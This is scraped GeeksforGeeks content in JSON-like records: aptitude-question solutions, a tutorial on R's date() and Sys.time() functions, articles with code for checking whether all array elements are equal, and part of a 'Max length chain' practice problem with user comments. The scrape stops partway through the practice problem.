"text": "Cook : Cook :: Fly : _______ "
},
{
"code": null,
"e": 27474,
"s": 27461,
"text": "Verb : Noun "
},
{
"code": null,
"e": 28103,
"s": 27474,
"text": "The dawn of the 21st century witnessed the melting glaciers oscillating between giving too much and too little to billions of people who depend on them for fresh water. The UN climate report estimates that without deep cuts to man-made emissions, at least 30% of the northern hemisphere’s surface permafrost could melt by the end of the century. Given this situation of imminent global exodus of billions of people displaced by rising seas, nation-states need to rethink their carbon footprint for political concerns, if not for environmental ones. Which one of the following statements can be inferred from the given passage ? "
},
{
"code": null,
"e": 28154,
"s": 28103,
"text": "Nation-states do not have environmental concerns. "
},
{
"code": null,
"e": 28234,
"s": 28154,
"text": "Nation-states are responsible for providing fresh water to billions of people. "
},
{
"code": null,
"e": 28294,
"s": 28234,
"text": "Billions of people are responsible for man-made emissions. "
},
{
"code": null,
"e": 28348,
"s": 28294,
"text": "Billions of people are affected by melting glaciers. "
},
{
"code": null,
"e": 28414,
"s": 28348,
"text": "Option (D) clearly explains the second last line of the passage. "
},
{
"code": null,
"e": 28448,
"s": 28414,
"text": "200 + 200 + 100 + 100 + 100 = 700"
},
{
"code": null,
"e": 28472,
"s": 28448,
"text": "(B) Cost of 1-f-b-2 : "
},
{
"code": null,
"e": 28503,
"s": 28472,
"text": "100 + 100 + 0 + 100 +200 = 500"
},
{
"code": null,
"e": 28525,
"s": 28503,
"text": "(C) Cost of 1-b-2 : "
},
{
"code": null,
"e": 28548,
"s": 28525,
"text": "300 + 100 + 200 = 600 "
},
{
"code": null,
"e": 28572,
"s": 28548,
"text": "(D) Cost of 1-f-e-2 : "
},
{
"code": null,
"e": 28606,
"s": 28572,
"text": "100 + 100 + 100 + 200 + 200 = 700"
},
{
"code": null,
"e": 28668,
"s": 28606,
"text": "Hence, 1-f-b-2 is having minimum cost. Option (B) is correct."
},
{
"code": null,
"e": 28729,
"s": 28668,
"text": "P = 31 = 3 \nQ = 32 = 9\nR = 33 = 27\nS = 34 = 81\nT = 35 = 243 "
},
{
"code": null,
"e": 28746,
"s": 28729,
"text": "Q+S = 9+81 = 90 "
},
{
"code": null,
"e": 28760,
"s": 28746,
"text": "= π((b-a)/2)2"
},
{
"code": null,
"e": 28775,
"s": 28760,
"text": "= nπ((b-a)/2)2"
},
{
"code": null,
"e": 28788,
"s": 28775,
"text": "= πb2 – πa2 "
},
{
"code": null,
"e": 28941,
"s": 28788,
"text": "= (Area of annular ring) – (Area of n blue color circles)\n= ( πb2 – πa2 ) - ( nπ((b-a)/2)2 )\n= π( b2 – a2 ) - π( (n/4)(b-a)2 )\n= π[(b2−a2)−(n/4)(b−a)2] "
},
{
"code": null,
"e": 29026,
"s": 28941,
"text": "→ ∠a + ∠b + ∠c = 180°\n→ α + β + 90° = 180° \n→ α + β = 180° - 90° = 90°\n→ α + β = 90°"
},
{
"code": null,
"e": 29073,
"s": 29026,
"text": "= 500 million/year \n= 500 × 5 \n= 2500 million "
},
{
"code": null,
"e": 29119,
"s": 29073,
"text": "= 400 + 500 + 600 + 700 + 800\n= 3000 million "
},
{
"code": null,
"e": 29140,
"s": 29119,
"text": "= 3000 - 2500 = 500 "
},
{
"code": null,
"e": 29174,
"s": 29140,
"text": "= (500/2500)*100 %\n= 20 % profit "
},
{
"code": null,
"e": 29272,
"s": 29174,
"text": "Writing code in comment? Please use ide.geeksforgeeks.org, generate link and share the link here."
},
{
"code": null,
"e": 29281,
"s": 29272,
"text": "Comments"
},
{
"code": null,
"e": 29294,
"s": 29281,
"text": "Old Comments"
},
{
"code": null,
"e": 29347,
"s": 29294,
"text": "Must Do Coding Questions for Product Based Companies"
},
{
"code": null,
"e": 29406,
"s": 29347,
"text": "Microsoft Interview Experience for Internship (Via Engage)"
},
{
"code": null,
"e": 29467,
"s": 29406,
"text": "Difference between var, let and const keywords in JavaScript"
},
{
"code": null,
"e": 29505,
"s": 29467,
"text": "Array of Objects in C++ with Examples"
},
{
"code": null,
"e": 29567,
"s": 29505,
"text": "How to Replace Values in Column Based on Condition in Pandas?"
},
{
"code": null,
"e": 29647,
"s": 29567,
"text": "How to Fix: SyntaxError: positional argument follows keyword argument in Python"
},
{
"code": null,
"e": 29688,
"s": 29647,
"text": "C Program to read contents of Whole File"
},
{
"code": null,
"e": 29723,
"s": 29688,
"text": "Insert Image in a Jupyter Notebook"
},
{
"code": null,
"e": 29766,
"s": 29723,
"text": "How to Replace Values in a List in Python?"
}
] |
Get Date and Time in different Formats in R Programming - date(), Sys.Date(), Sys.time() and Sys.timezone() Function - GeeksforGeeks
|
12 Jun, 2020
date() function in R Language is used to return the current date and time.
Syntax: date()
Parameters:Does not accept any parameters
Example:
# R program to illustrate# date function # Calling date() function to # return current date and timedate()
Output:
[1] "Thu Jun 11 04:29:39 2020"
Sys.Date() function is used to return the system’s date.
Syntax: Sys.Date()
Parameters:Does not accept any parameters
Example:
# R program to illustrate# Sys.Date function # Calling Sys.Date() function to # return the system's dateSys.Date()
Output:
[1] "2020-06-11"
Sys.time() function is used to return the system’s date and time.
Syntax: Sys.time()
Parameters:Does not accept any parameters
Example:
# R program to illustrate# Sys.time function # Calling Sys.time() function to # return the system's date and timeSys.time()
Output:
[1] "2020-06-11 05:35:49 UTC"
Sys.timezone() function is used to return the current time zone.
Syntax: Sys.timezone()
Parameters:Does not accept any parameters
Example:
# R program to illustrate# Sys.timezone function # Calling Sys.timezone() function to # return the current time zoneSys.timezone()
Output:
[1] "Etc/UTC"
R Date-Function
R Language
Writing code in comment?
Please use ide.geeksforgeeks.org,
generate link and share the link here.
How to Replace specific values in column in R DataFrame ?
Filter data by multiple conditions in R using Dplyr
Loops in R (for, while, repeat)
Change Color of Bars in Barchart using ggplot2 in R
How to change Row Names of DataFrame in R ?
How to Change Axis Scales in R Plots?
Group by function in R using Dplyr
Remove rows with NA in one column of R DataFrame
K-Means Clustering in R Programming
How to Split Column Into Multiple Columns in R DataFrame?
|
[
{
"code": null,
"e": 25004,
"s": 24976,
"text": "\n12 Jun, 2020"
},
{
"code": null,
"e": 25079,
"s": 25004,
"text": "date() function in R Language is used to return the current date and time."
},
{
"code": null,
"e": 25094,
"s": 25079,
"text": "Syntax: date()"
},
{
"code": null,
"e": 25136,
"s": 25094,
"text": "Parameters:Does not accept any parameters"
},
{
"code": null,
"e": 25145,
"s": 25136,
"text": "Example:"
},
{
"code": "# R program to illustrate# date function # Calling date() function to # return current date and timedate()",
"e": 25253,
"s": 25145,
"text": null
},
{
"code": null,
"e": 25261,
"s": 25253,
"text": "Output:"
},
{
"code": null,
"e": 25293,
"s": 25261,
"text": "[1] \"Thu Jun 11 04:29:39 2020\"\n"
},
{
"code": null,
"e": 25350,
"s": 25293,
"text": "Sys.Date() function is used to return the system’s date."
},
{
"code": null,
"e": 25369,
"s": 25350,
"text": "Syntax: Sys.Date()"
},
{
"code": null,
"e": 25411,
"s": 25369,
"text": "Parameters:Does not accept any parameters"
},
{
"code": null,
"e": 25420,
"s": 25411,
"text": "Example:"
},
{
"code": "# R program to illustrate# Sys.Date function # Calling Sys.Date() function to # return the system's dateSys.Date()",
"e": 25536,
"s": 25420,
"text": null
},
{
"code": null,
"e": 25544,
"s": 25536,
"text": "Output:"
},
{
"code": null,
"e": 25562,
"s": 25544,
"text": "[1] \"2020-06-11\"\n"
},
{
"code": null,
"e": 25628,
"s": 25562,
"text": "Sys.time() function is used to return the system’s date and time."
},
{
"code": null,
"e": 25647,
"s": 25628,
"text": "Syntax: Sys.time()"
},
{
"code": null,
"e": 25689,
"s": 25647,
"text": "Parameters:Does not accept any parameters"
},
{
"code": null,
"e": 25698,
"s": 25689,
"text": "Example:"
},
{
"code": "# R program to illustrate# Sys.time function # Calling Sys.time() function to # return the system's date and timeSys.time()",
"e": 25823,
"s": 25698,
"text": null
},
{
"code": null,
"e": 25831,
"s": 25823,
"text": "Output:"
},
{
"code": null,
"e": 25862,
"s": 25831,
"text": "[1] \"2020-06-11 05:35:49 UTC\"\n"
},
{
"code": null,
"e": 25927,
"s": 25862,
"text": "Sys.timezone() function is used to return the current time zone."
},
{
"code": null,
"e": 25950,
"s": 25927,
"text": "Syntax: Sys.timezone()"
},
{
"code": null,
"e": 25992,
"s": 25950,
"text": "Parameters:Does not accept any parameters"
},
{
"code": null,
"e": 26001,
"s": 25992,
"text": "Example:"
},
{
"code": "# R program to illustrate# Sys.timezone function # Calling Sys.timezone() function to # return the current time zoneSys.timezone()",
"e": 26133,
"s": 26001,
"text": null
},
{
"code": null,
"e": 26141,
"s": 26133,
"text": "Output:"
},
{
"code": null,
"e": 26156,
"s": 26141,
"text": "[1] \"Etc/UTC\"\n"
},
{
"code": null,
"e": 26172,
"s": 26156,
"text": "R Date-Function"
},
{
"code": null,
"e": 26183,
"s": 26172,
"text": "R Language"
},
{
"code": null,
"e": 26281,
"s": 26183,
"text": "Writing code in comment?\nPlease use ide.geeksforgeeks.org,\ngenerate link and share the link here."
},
{
"code": null,
"e": 26339,
"s": 26281,
"text": "How to Replace specific values in column in R DataFrame ?"
},
{
"code": null,
"e": 26391,
"s": 26339,
"text": "Filter data by multiple conditions in R using Dplyr"
},
{
"code": null,
"e": 26423,
"s": 26391,
"text": "Loops in R (for, while, repeat)"
},
{
"code": null,
"e": 26475,
"s": 26423,
"text": "Change Color of Bars in Barchart using ggplot2 in R"
},
{
"code": null,
"e": 26519,
"s": 26475,
"text": "How to change Row Names of DataFrame in R ?"
},
{
"code": null,
"e": 26557,
"s": 26519,
"text": "How to Change Axis Scales in R Plots?"
},
{
"code": null,
"e": 26592,
"s": 26557,
"text": "Group by function in R using Dplyr"
},
{
"code": null,
"e": 26641,
"s": 26592,
"text": "Remove rows with NA in one column of R DataFrame"
},
{
"code": null,
"e": 26677,
"s": 26641,
"text": "K-Means Clustering in R Programming"
}
] |
All elements in an array are Same or not? - GeeksforGeeks
|
29 Jan, 2022
Given an array, check whether all elements in an array are the same or not.
Examples:
Input : "Geeks", "for", "Geeks"
Output : Not all Elements are Same
Input : 1, 1, 1, 1, 1
Output : All Elements are Same
Method 1 (Hashing) We create an empty HashSet, insert all elements into it, then we finally see if the size of the HashSet is one or not.
C++
Java
Python3
C#
Javascript
//c++ program to check if all array are same or not#include<bits/stdc++.h> using namespace std; bool areSame(int a[],int n){ unordered_map<int,int> m;//hash map to store the frequency of every //element for(int i=0;i<n;i++) m[a[i]]++; if(m.size()==1) return true; else return false;}//Driver codeint main(){ int arr[]={1,2,3,2}; int n=sizeof(arr)/sizeof(arr[0]); if(areSame(arr,n)) cout<<"All Elements are Same"; else cout<<"Not all Elements are Same";}
// Java program to check if all array elements are// same or not.import java.util.Arrays;import java.util.HashSet;import java.util.Set; public class SameElements {public static boolean areSame(Integer arr[]) { // Put all array elements in a HashSet Set<Integer> s = new HashSet<>(Arrays.asList(arr)); // If all elements are same, size of // HashSet should be 1. As HashSet contains only distinct values. return (s.size() == 1); } // Driver codepublic static void main(String[] args) { Integer[] arr = { 1, 2, 3, 2 }; if (areSame(arr)) System.out.println("All Elements are Same"); else System.out.println("Not all Elements are Same"); }}
# Python 3 program to check if all# array are same or notdef areSame(a, n): m = {i:0 for i in range(len(a))} # hash map to store the frequency # of every element for i in range(n): m[a[i]] += 1 if(len(m) == 1): return True else: return False # Driver codeif __name__ == '__main__': arr = [1, 2, 3, 2] n = len(arr) if(areSame(arr, n)): print("All Elements are Same") else: print("Not all Elements are Same") # This code is contributed by# Shashank_Sharma
// C# program to check if all array elements// are same or not.using System;using System.Collections.Generic; class GFG{ public static bool areSame(int []arr){ // Put all array elements in a HashSet HashSet<int> s = new HashSet<int>(); for(int i = 0; i < arr.Length; i++) s.Add(arr[i]); // If all elements are same, size of // HashSet should be 1. As HashSet // contains only distinct values. return (s.Count == 1);} // Driver codepublic static void Main(String[] args){ int[] arr = { 1, 2, 3, 2 }; if (areSame(arr)) Console.WriteLine("All Elements are Same"); else Console.WriteLine("Not all Elements are Same");}} // This code is contributed by Amit Katiyar
<script>// Javascript program to check if all array elements are// same or not. function areSame(arr) { // Put all array elements in a HashSet let s = new Set(arr); // If all elements are same, size of // HashSet should be 1. As HashSet contains only distinct values. return (s.size == 1); } // Driver code let arr=[1, 2, 3, 2]; if (areSame(arr)) document.write("All Elements are Same"); else document.write("Not all Elements are Same"); // This code is contributed by patel2127</script>
Not all Elements are Same
Time Complexity: O(n) Auxiliary Space: O(n)
Method 2 (Compare with first) The idea is simple. We compare every other element with first. If all matches with first, we return true. Else we return false.
C++
Java
Python3
C#
Javascript
// C++ Program to implement// the above approach#include <bits/stdc++.h>using namespace std; bool areSame(int arr[], int n){ int first = arr[0]; for (int i = 1; i < n; i++) if (arr[i] != first) return 0; return 1;} // Driver codeint main(){ int arr[] = {1, 2, 3, 2}; int n = sizeof(arr) / sizeof(arr[0]); if (areSame(arr, n)) cout << "All Elements are Same"; else cout << "Not all Elements are Same";} // This code is contributed by gauravrajput1
// Java program to check if all array elements are// same or not.import java.util.Arrays;import java.util.HashSet;import java.util.Set; public class SameElements {public static boolean areSame(Integer arr[]) { Integer first = arr[0]; for (int i=1; i<arr.length; i++) if (arr[i] != first) return false; return true; } // Driver codepublic static void main(String[] args) { Integer[] arr = { 1, 2, 3, 2 }; if (areSame(arr)) System.out.println("All Elements are Same"); else System.out.println("Not all Elements are Same"); }}
# Python3 program to check# if all array elements are# same or not.def areSame(arr): first = arr[0]; for i in range(1, len(arr)): if (arr[i] != first): return False; return True; # Driver codeif __name__ == '__main__': arr = [1, 2, 3, 2]; if (areSame(arr)): print("All Elements are Same"); else: print("Not all Elements are Same"); # This code is contributed by Rajput-Ji
// C# program to check if all// array elements are same or not.using System;class SameElements{ static bool areSame(int []arr){ int first = arr[0]; for (int i = 1; i < arr.Length; i++) if (arr[i] != first) return false; return true;} // Driver codepublic static void Main(String[] args){ int[] arr = {1, 2, 3, 2}; if (areSame(arr)) Console.WriteLine("All Elements are Same"); else Console.WriteLine("Not all Elements are Same");}} // This code is contributed by 29AjayKumar
<script> // JavaScript program to check if all array elements are// same or not. function areSame(arr) { let first = arr[0]; for (let i=1; i<arr.length; i++) if (arr[i] != first) return false; return true; } // Driver code let arr=[1, 2, 3, 2 ]; if (areSame(arr)) document.write("All Elements are Same<br>"); else document.write("Not all Elements are Same<br>"); // This code is contributed by unknown2108 </script>
Not all Elements are Same
Time Complexity: O(n) Auxiliary Space: O(1)
mohit kumar 29
Shashank_Sharma
amit143katiyar
29AjayKumar
GauravRajput1
Rajput-Ji
patel2127
unknown2108
surinderdawra388
java-hashset
Arrays
Hash
Arrays
Hash
Writing code in comment?
Please use ide.geeksforgeeks.org,
generate link and share the link here.
Stack Data Structure (Introduction and Program)
Maximum and minimum of an array using minimum number of comparisons
Top 50 Array Coding Problems for Interviews
Multidimensional Arrays in Java
Introduction to Arrays
Given an array A[] and a number x, check for pair in A[] with sum as x (aka Two Sum)
Hashing | Set 1 (Introduction)
Hashing | Set 3 (Open Addressing)
Count pairs with given sum
Hashing | Set 2 (Separate Chaining)
|
[
{
"code": null,
"e": 24629,
"s": 24601,
"text": "\n29 Jan, 2022"
},
{
"code": null,
"e": 24705,
"s": 24629,
"text": "Given an array, check whether all elements in an array are the same or not."
},
{
"code": null,
"e": 24716,
"s": 24705,
"text": "Examples: "
},
{
"code": null,
"e": 24837,
"s": 24716,
"text": "Input : \"Geeks\", \"for\", \"Geeks\"\nOutput : Not all Elements are Same\n\nInput : 1, 1, 1, 1, 1\nOutput : All Elements are Same"
},
{
"code": null,
"e": 24976,
"s": 24837,
"text": "Method 1 (Hashing) We create an empty HashSet, insert all elements into it, then we finally see if the size of the HashSet is one or not. "
},
{
"code": null,
"e": 24980,
"s": 24976,
"text": "C++"
},
{
"code": null,
"e": 24985,
"s": 24980,
"text": "Java"
},
{
"code": null,
"e": 24993,
"s": 24985,
"text": "Python3"
},
{
"code": null,
"e": 24996,
"s": 24993,
"text": "C#"
},
{
"code": null,
"e": 25007,
"s": 24996,
"text": "Javascript"
},
{
"code": "//c++ program to check if all array are same or not#include<bits/stdc++.h> using namespace std; bool areSame(int a[],int n){ unordered_map<int,int> m;//hash map to store the frequency of every //element for(int i=0;i<n;i++) m[a[i]]++; if(m.size()==1) return true; else return false;}//Driver codeint main(){ int arr[]={1,2,3,2}; int n=sizeof(arr)/sizeof(arr[0]); if(areSame(arr,n)) cout<<\"All Elements are Same\"; else cout<<\"Not all Elements are Same\";}",
"e": 25567,
"s": 25007,
"text": null
},
{
"code": "// Java program to check if all array elements are// same or not.import java.util.Arrays;import java.util.HashSet;import java.util.Set; public class SameElements {public static boolean areSame(Integer arr[]) { // Put all array elements in a HashSet Set<Integer> s = new HashSet<>(Arrays.asList(arr)); // If all elements are same, size of // HashSet should be 1. As HashSet contains only distinct values. return (s.size() == 1); } // Driver codepublic static void main(String[] args) { Integer[] arr = { 1, 2, 3, 2 }; if (areSame(arr)) System.out.println(\"All Elements are Same\"); else System.out.println(\"Not all Elements are Same\"); }}",
"e": 26299,
"s": 25567,
"text": null
},
{
"code": "# Python 3 program to check if all# array are same or notdef areSame(a, n): m = {i:0 for i in range(len(a))} # hash map to store the frequency # of every element for i in range(n): m[a[i]] += 1 if(len(m) == 1): return True else: return False # Driver codeif __name__ == '__main__': arr = [1, 2, 3, 2] n = len(arr) if(areSame(arr, n)): print(\"All Elements are Same\") else: print(\"Not all Elements are Same\") # This code is contributed by# Shashank_Sharma",
"e": 26843,
"s": 26299,
"text": null
},
{
"code": "// C# program to check if all array elements// are same or not.using System;using System.Collections.Generic; class GFG{ public static bool areSame(int []arr){ // Put all array elements in a HashSet HashSet<int> s = new HashSet<int>(); for(int i = 0; i < arr.Length; i++) s.Add(arr[i]); // If all elements are same, size of // HashSet should be 1. As HashSet // contains only distinct values. return (s.Count == 1);} // Driver codepublic static void Main(String[] args){ int[] arr = { 1, 2, 3, 2 }; if (areSame(arr)) Console.WriteLine(\"All Elements are Same\"); else Console.WriteLine(\"Not all Elements are Same\");}} // This code is contributed by Amit Katiyar",
"e": 27574,
"s": 26843,
"text": null
},
{
"code": "<script>// Javascript program to check if all array elements are// same or not. function areSame(arr) { // Put all array elements in a HashSet let s = new Set(arr); // If all elements are same, size of // HashSet should be 1. As HashSet contains only distinct values. return (s.size == 1); } // Driver code let arr=[1, 2, 3, 2]; if (areSame(arr)) document.write(\"All Elements are Same\"); else document.write(\"Not all Elements are Same\"); // This code is contributed by patel2127</script>",
"e": 28153,
"s": 27574,
"text": null
},
{
"code": null,
"e": 28179,
"s": 28153,
"text": "Not all Elements are Same"
},
{
"code": null,
"e": 28223,
"s": 28179,
"text": "Time Complexity: O(n) Auxiliary Space: O(n)"
},
{
"code": null,
"e": 28381,
"s": 28223,
"text": "Method 2 (Compare with first) The idea is simple. We compare every other element with first. If all matches with first, we return true. Else we return false."
},
{
"code": null,
"e": 28385,
"s": 28381,
"text": "C++"
},
{
"code": null,
"e": 28390,
"s": 28385,
"text": "Java"
},
{
"code": null,
"e": 28398,
"s": 28390,
"text": "Python3"
},
{
"code": null,
"e": 28401,
"s": 28398,
"text": "C#"
},
{
"code": null,
"e": 28412,
"s": 28401,
"text": "Javascript"
},
{
"code": "// C++ Program to implement// the above approach#include <bits/stdc++.h>using namespace std; bool areSame(int arr[], int n){ int first = arr[0]; for (int i = 1; i < n; i++) if (arr[i] != first) return 0; return 1;} // Driver codeint main(){ int arr[] = {1, 2, 3, 2}; int n = sizeof(arr) / sizeof(arr[0]); if (areSame(arr, n)) cout << \"All Elements are Same\"; else cout << \"Not all Elements are Same\";} // This code is contributed by gauravrajput1",
"e": 28902,
"s": 28412,
"text": null
},
{
"code": "// Java program to check if all array elements are// same or not.import java.util.Arrays;import java.util.HashSet;import java.util.Set; public class SameElements {public static boolean areSame(Integer arr[]) { Integer first = arr[0]; for (int i=1; i<arr.length; i++) if (arr[i] != first) return false; return true; } // Driver codepublic static void main(String[] args) { Integer[] arr = { 1, 2, 3, 2 }; if (areSame(arr)) System.out.println(\"All Elements are Same\"); else System.out.println(\"Not all Elements are Same\"); }}",
"e": 29528,
"s": 28902,
"text": null
},
{
"code": "# Python3 program to check# if all array elements are# same or not.def areSame(arr): first = arr[0]; for i in range(1, len(arr)): if (arr[i] != first): return False; return True; # Driver codeif __name__ == '__main__': arr = [1, 2, 3, 2]; if (areSame(arr)): print(\"All Elements are Same\"); else: print(\"Not all Elements are Same\"); # This code is contributed by Rajput-Ji",
"e": 29977,
"s": 29528,
"text": null
},
{
"code": "// C# program to check if all// array elements are same or not.using System;class SameElements{ static bool areSame(int []arr){ int first = arr[0]; for (int i = 1; i < arr.Length; i++) if (arr[i] != first) return false; return true;} // Driver codepublic static void Main(String[] args){ int[] arr = {1, 2, 3, 2}; if (areSame(arr)) Console.WriteLine(\"All Elements are Same\"); else Console.WriteLine(\"Not all Elements are Same\");}} // This code is contributed by 29AjayKumar",
"e": 30489,
"s": 29977,
"text": null
},
{
"code": "<script> // JavaScript program to check if all array elements are// same or not. function areSame(arr) { let first = arr[0]; for (let i=1; i<arr.length; i++) if (arr[i] != first) return false; return true; } // Driver code let arr=[1, 2, 3, 2 ]; if (areSame(arr)) document.write(\"All Elements are Same<br>\"); else document.write(\"Not all Elements are Same<br>\"); // This code is contributed by unknown2108 </script>",
"e": 30996,
"s": 30489,
"text": null
},
{
"code": null,
"e": 31022,
"s": 30996,
"text": "Not all Elements are Same"
},
{
"code": null,
"e": 31067,
"s": 31022,
"text": "Time Complexity: O(n) Auxiliary Space: O(1) "
},
{
"code": null,
"e": 31082,
"s": 31067,
"text": "mohit kumar 29"
},
{
"code": null,
"e": 31098,
"s": 31082,
"text": "Shashank_Sharma"
},
{
"code": null,
"e": 31113,
"s": 31098,
"text": "amit143katiyar"
},
{
"code": null,
"e": 31125,
"s": 31113,
"text": "29AjayKumar"
},
{
"code": null,
"e": 31139,
"s": 31125,
"text": "GauravRajput1"
},
{
"code": null,
"e": 31149,
"s": 31139,
"text": "Rajput-Ji"
},
{
"code": null,
"e": 31159,
"s": 31149,
"text": "patel2127"
},
{
"code": null,
"e": 31171,
"s": 31159,
"text": "unknown2108"
},
{
"code": null,
"e": 31188,
"s": 31171,
"text": "surinderdawra388"
},
{
"code": null,
"e": 31201,
"s": 31188,
"text": "java-hashset"
},
{
"code": null,
"e": 31208,
"s": 31201,
"text": "Arrays"
},
{
"code": null,
"e": 31213,
"s": 31208,
"text": "Hash"
},
{
"code": null,
"e": 31220,
"s": 31213,
"text": "Arrays"
},
{
"code": null,
"e": 31225,
"s": 31220,
"text": "Hash"
},
{
"code": null,
"e": 31323,
"s": 31225,
"text": "Writing code in comment?\nPlease use ide.geeksforgeeks.org,\ngenerate link and share the link here."
},
{
"code": null,
"e": 31371,
"s": 31323,
"text": "Stack Data Structure (Introduction and Program)"
},
{
"code": null,
"e": 31439,
"s": 31371,
"text": "Maximum and minimum of an array using minimum number of comparisons"
},
{
"code": null,
"e": 31483,
"s": 31439,
"text": "Top 50 Array Coding Problems for Interviews"
},
{
"code": null,
"e": 31515,
"s": 31483,
"text": "Multidimensional Arrays in Java"
},
{
"code": null,
"e": 31538,
"s": 31515,
"text": "Introduction to Arrays"
},
{
"code": null,
"e": 31623,
"s": 31538,
"text": "Given an array A[] and a number x, check for pair in A[] with sum as x (aka Two Sum)"
},
{
"code": null,
"e": 31654,
"s": 31623,
"text": "Hashing | Set 1 (Introduction)"
},
{
"code": null,
"e": 31688,
"s": 31654,
"text": "Hashing | Set 3 (Open Addressing)"
},
{
"code": null,
"e": 31715,
"s": 31688,
"text": "Count pairs with given sum"
}
] |
Max length chain | Practice | GeeksforGeeks
|
You are given N pairs of numbers. In every pair, the first number is always smaller than the second number. A pair (c, d) can follow another pair (a, b) if b < c. Chain of pairs can be formed in this fashion. You have to find the longest chain which can be formed from the given set of pairs.
Example 1:
Input:
N = 5
P[] = {5 24 , 39 60 , 15 28 , 27 40 , 50 90}
Output: 3
Explanation: The given pairs are { {5, 24}, {39, 60},
{15, 28}, {27, 40}, {50, 90} },the longest chain that
can be formed is of length 3, and the chain is
{{5, 24}, {27, 40}, {50, 90}}
​Example 2:
Input:
N = 2
P[] = {5 10 , 1 11}
Output: 1
Explanation:The max length chain possible is only of
length one.
Your Task:
You don't need to read input or print anything. Your task is to Complete the function maxChainLen() which takes a structure p[] denoting the pairs and n as the number of pairs and returns the length of the longest chain formed.
Expected Time Complexity: O(N*N)
Expected Auxiliary Space: O(N)
Constraints:
1<=N<=100
0
tsachin7351 day ago
C++ SOLUTION
bool mycomp(struct val &a , struct val &b){ return a.second<b.second;}
int maxChainLen(struct val p[],int n){ sort(p , p+n , mycomp); int previous=0; int count =1; for(int current =1 ; current<n ; current++){ if(p[previous].second<p[current].first){ previous = current; count++; } } return count ; }
+2
sanketbhagat1 week ago
SIMPLE JAVA SOLUTION
class GfG{
int maxChainLength(Pair arr[], int n){
// your code here
Arrays.sort(arr,(a,b)->a.y-b.y);
int dp[] = new int[n];
Arrays.fill(dp,1);
int ans = 0;
for(int i=0;i<n;i++){
for(int j=0;j<i;j++){
if(arr[i].x>arr[j].y) dp[i] = Math.max(dp[i],1+dp[j]);
}
ans = Math.max(ans,dp[i]);
}
return ans;
}
}
0
sagrikasoni2 weeks ago
JAVA Solution (Greedy Approach)
class GfG
{
int maxChainLength(Pair arr[], int n)
{
Arrays.sort(arr,(a,b)->a.y-b.y);
int count =1;
int end = arr[0].y;
for(int i =1;i<n;i++){
if(end<arr[i].x){
count++;
end = arr[i].y;
}
}
return count;
}
}
0
keshav_bhaau2 weeks ago
LIS + Sorting (overall, O(Nlogn)):
int maxChainLen(struct val arr[],int n)
{
sort(arr, arr+n ,[](val &a, val &b){
return a.first<b.first;
});
vector<int> dp;
dp.push_back(arr[0].second);
for(int i=1;i<n;i++)
{
if(arr[i].first>dp.back())
dp.push_back(arr[i].second);
else{
int index= lower_bound(dp.begin(), dp.end(), arr[i].second)-dp.begin();
dp[index]= arr[i].second;
}
}
return dp.size();
}
0
jainmuskan5653 weeks ago
int solve(int prev,int curr, struct val p[],int n, vector<vector<int>> & dp){ // LIS plus sorting if(curr==n){ return 0; } if(dp[prev+1][curr] > -1){ return dp[prev+1][curr]; } int len= solve(prev,curr+1,p,n,dp); if(prev==-1 || p[prev].second < p[curr].first){ len=max(len,1+solve(curr,curr+1,p,n,dp)); } return dp[prev+1][curr]= len;}static bool comp(struct val a,struct val b){ return a.second<b.second;}int maxChainLen(struct val p[],int n){ vector<vector<int>> dp(n+1,vector<int>(n+1,-1)); // sort p sort(p,p+n, comp); return solve(-1,0,p,n,dp);}
0
cyrus184 weeks ago
Java Solution
class GfG
{
int maxChainLength(Pair arr[], int n)
{
// your code here
Arrays.sort(arr, (a, b) -> (a.y - b.y));
int[] dp=new int[n];
Arrays.fill(dp, 1);
int res=1;
for(int i=1;i<n;i++){
for(int j=0;j<i;j++){
if(arr[i].x > arr[j].y)
dp[i]=Math.max(dp[i], dp[j]+1);
res=Math.max(res , dp[i]);
}
}
return res;
}
}
0
kuldeepy104591 month ago
bool sortbysecond(struct val &a,struct val &b){ return a.second<b.second;}int maxChainLen(struct val p[],int n){//Your code heresort(p,p+n,sortbysecond);vector<int>output(n);output[0]=1;for(int i=1;i<n;i++){ output[i]=1; for(int j=i-1;j>=0;j--){ if(p[i].first<=p[j].second){ continue; } int possible=output[j]+1; if(possible>output[i]){ output[i]=possible; } }}int max= *max_element(output.begin(),output.end());return max;
}
0
hamidnourashraf2 months ago
def maxChainLen(Parr, n):
sorted_parr = sorted(Parr, key=lambda x: x.b)
_max = 0
for i in range(n):
cnt = 1
curr_b = sorted_parr[i].b
for j in range(i+1, n):
if sorted_parr[j].a > curr_b:
curr_b = sorted_parr[j].b
cnt += 1
_max = max(_max, cnt)
return _max
0
junaidalthaf2 months ago
Why are we expected to sort the pair list?
+1
sknwd88642 months ago
static bool compare(struct val& a, struct val& b)
{
return a.first < b.first;
}
int maxChainLen(struct val arr[], int n)
{
sort(arr, arr + n, compare);
vector<int> dp(n, 1);
for(int i = 1; i < n; i++)
{
for(int j = 0; j < i; j++)
{
if(arr[j].second < arr[i].first && dp[j] + 1 > dp[i])
{
dp[i] = dp[j] + 1;
}
}
}
return *max_element(dp.begin(), dp.end());
}
We strongly recommend solving this problem on your own before viewing its editorial. Do you still
want to view the editorial?
Login to access your submissions.
Problem
Contest
Reset the IDE using the second button on the top right corner.
Avoid using static/global variables in your code as your code is tested against multiple test cases and these tend to retain their previous values.
Passing the Sample/Custom Test cases does not guarantee the correctness of code. On submission, your code is tested against multiple test cases consisting of all possible corner cases and stress constraints.
You can access the hints to get an idea about what is expected of you as well as the final solution code.
You can view the solutions submitted by other users from the submission tab.
|
[
{
"code": null,
"e": 534,
"s": 238,
"text": "You are given N pairs of numbers. In every pair, the first number is always smaller than the second number. A pair (c, d) can follow another pair (a, b) if b < c. Chain of pairs can be formed in this fashion. You have to find the longest chain which can be formed from the given set of pairs. \n "
},
{
"code": null,
"e": 545,
"s": 534,
"text": "Example 1:"
},
{
"code": null,
"e": 800,
"s": 545,
"text": "Input:\nN = 5\nP[] = {5 24 , 39 60 , 15 28 , 27 40 , 50 90}\nOutput: 3\nExplanation: The given pairs are { {5, 24}, {39, 60},\n{15, 28}, {27, 40}, {50, 90} },the longest chain that\ncan be formed is of length 3, and the chain is\n{{5, 24}, {27, 40}, {50, 90}}\n"
},
{
"code": null,
"e": 816,
"s": 800,
"text": "\n​Example 2:"
},
{
"code": null,
"e": 925,
"s": 816,
"text": "Input:\nN = 2\nP[] = {5 10 , 1 11}\nOutput: 1\nExplanation:The max length chain possible is only of\nlength one.\n"
},
{
"code": null,
"e": 1166,
"s": 927,
